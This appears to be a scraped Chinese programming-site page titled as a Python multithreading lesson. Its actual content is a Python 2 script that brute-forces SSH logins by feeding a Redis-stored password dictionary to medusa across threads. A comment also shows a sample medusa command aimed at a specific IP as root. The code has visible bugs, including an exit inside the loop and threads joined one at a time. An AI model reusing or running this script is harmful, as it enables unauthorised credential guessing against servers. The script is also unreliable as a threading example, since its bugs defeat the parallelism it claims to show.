我的编程空间,编程开发者的网络收藏夹
学习永远不晚

python 多线程处理List

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

python 多线程处理List

# -*- coding:UTF-8 -*-#

"""

根据Redis的密码字典,暴力破解

"""

import redis

import sys,os

import threading


BIN="/usr/local/bin/medusa"

#medusa -u root -p 123456 -h 111.207.22.72 -M ssh

def threadTask(plist,threadnum):

    for xval in plist:

        print "Thread-%s:%s" % (threadnum,xval)

        CMD=BIN+" -u "+User+' -p "'+xval+'" -h '+Host+' -M ssh'

        os.system(CMD)#开始爆破

        sys.exit(0)


        

if __name__=='__main__':

    global Host,User

    numThread=10 #默认10个线程

    Rkey='None'

    Host='None'

    User='root'

    if not sys.argv[1:]:

        print "Usage  python %s [OPTIONS]" % sys.argv[0]

        print "Options are:"

        print "-n,  -number  Number of threads,default:10"

        print "-k,  -key  Redis's key"

        print "-u,  -user  system's needed to crack,default:root"

        print "-h,  -host  server ip"

        sys.exit(0)

    i=1

    while (i<len(sys.argv)):

        arg=sys.argv[i]

        if arg=='-n' or arg=='-number':

            i+=1

            numThread=sys.argv[i]

        elif arg=='-k' or arg=='-key':

            i+=1

            Rkey=sys.argv[i]

        elif arg=='-u' or arg=='-user':

            i+=1

            User=sys.argv[i]

        elif arg=='-h' or arg=='-host':

            i+=1

            Host=sys.argv[i]

        else:

            pass

        i+=1

    if Rkey=='None':

        print "Please input key value!"

        sys.exit(0)

    if Host=='None':

        print "Please input Host IP!"

        sys.exit(0)

    

       

    rds = redis.Redis(host='localhost',port=6379,db=0)

    pList=rds.lrange(Rkey,0,-1)#密码字典

    

    totalNum = len(pList) #密码总数量

    for threadNum in xrange(numThread):

        #每个线程处理的密码数量

        dealNum=totalNum/numThread

        #最后一个线程处理剩余部分

        leftNum=totalNum%numThread

        

        if threadNum!=(numThread-1):

            #实例化线程

            t=threading.Thread(target=threadTask,args=(pList[threadNum*dealNum:threadNum*dealNum+dealNum],threadNum))

            t.start()#启动线程

            t.join()#等待线程结束后主进程退出

        else:

            t=threading.Thread(target=threadTask,args=(pList[threadNum*dealNum:threadNum*dealNum+leftNum],threadNum))

            t.start()#启动线程

            t.join()#等待线程结束后主进程退出

            


免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

python 多线程处理List

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

python 多线程处理List

# -*- coding:UTF-8 -*-#"""根据Redis的密码字典,暴力破解"""import redisimport sys,osimport threadingBIN="/usr/local/bin/medusa"#medus
2023-01-31

Python中多线程和多处理的分析

本篇内容主要讲解“Python中多线程和多处理的分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Python中多线程和多处理的分析”吧!多线程简单地说,线程允许您并行地运行程序。花费大量时间等
2023-06-16

Android 多线程处理之多线程详解

handler.post(r)其实这样并不会新起线程,只是执行的runnable里的run()方法,却没有执行start()方法,所以runnable走的还是UI线程。 1.如果像这样,是可以操作ui,但是run还是走在主线程,见打印出来的
2022-06-06

Python如何实现多线程处理任务

小编给大家分享一下Python如何实现多线程处理任务,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!读取Excel数据 —> 发送到行政服务接口安全起见线上操作放在了晚上进行。运行时发现每条数据导入消耗1s多,晚上十点开始跑
2023-06-25

Python中多处理与多线程的区别是什么

Python中多处理与多线程的区别是什么,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。什么是线程?你为什么想要它?Python是一种线性语言。但是,当您需要更多的处理能力时,线
2023-06-16

python之线程池map()方法传递多参数list

这篇文章主要介绍了python之线程池map()方法传递多参数list问题,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
2023-03-14

批处理程序中多线程怎么处理

这篇文章主要为大家展示了“批处理程序中多线程怎么处理”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“批处理程序中多线程怎么处理”这篇文章吧。如下内容将简单举例,在WINDOWS下使用批处理做多进程
2023-06-09

php如何处理多线程

在PHP中,可以使用多种方式处理多线程。1. 使用pcntl扩展:pcntl扩展是PHP的一个进程控制扩展,它提供了一些函数用于创建和管理进程。可以使用pcntl_fork()函数创建一个子进程,并在子进程中执行需要并行处理的任务。这种方式
2023-08-22

php怎么处理多线程

在PHP中,处理多线程可以使用以下几种方式:1. 使用多进程:PHP可以通过`pcntl_fork`函数创建子进程,每个子进程可以执行不同的任务。可以将任务分配给不同的子进程来实现多线程的效果。```php$pid = pcntl_fork
2023-08-23

Python中多线程和多处理的指南是怎样的

Python中多线程和多处理的指南是怎样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。使用Python分析数据,如果使用了正确的数据结构和算法,有时可以大量提高程序的速度。实
2023-06-05

怎么理解Python多线程

本篇内容主要讲解“怎么理解Python多线程”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么理解Python多线程”吧!在实际处理数据时,因系统内存有限,我们不可能一次把所有数据都导出进行操作
2023-06-25

Java中怎么处理多线程

本篇文章为大家展示了Java中怎么处理多线程,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。1、当每个迭代彼此独立,并且完成循环体中每个迭代的工作,意义都足够重大,足以弥补管理一个新任务的开销时,这个
2023-06-17

python多线程处理循环的方法是什么

在Python中,有多种方法可以使用多线程处理循环。以下是两种常用的方法:1. 使用`threading.Thread`类:可以通过创建多个`Thread`对象,每个对象处理一个循环迭代,从而实现多线程处理循环。每个线程对象可以通过调用`s
2023-10-07

python多线程

Python 多线程多线程类似于同时执行多个不同程序,多线程运行有如下优点:使用线程可以把占据长时间的程序中的任务放到后台去处理。用户界面可以更加吸引人,这样比如用户点击了一个按钮去触发某些事件的处理,可以弹出一个进度条来显示处理的进度程序
2023-01-30

python—多线程

一、多线程实例  线程时应用程序中工作的最小单位,python中提供了threading模块来对多线程操作,一般多核cpu采用多进程方式,单核才采用多线程方式  方法:  将要执行的方法threading.Thread作为参数传给构造方法(
2023-01-31

python多线程————3、多线程间通

1、共享变量#通过共享变量import timeimport threadingurl_list = []def get_detail_html(): global url_list while True: if
2023-01-31

Python 多线程

文章来源:https://www.runoob.com/python/python-multithreading.html多线程类似于同时执行多个不同程序,多线程运行有如下优点:使用线程可以把占据长时间的程序中的任务放到后台去处理。用户界面
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录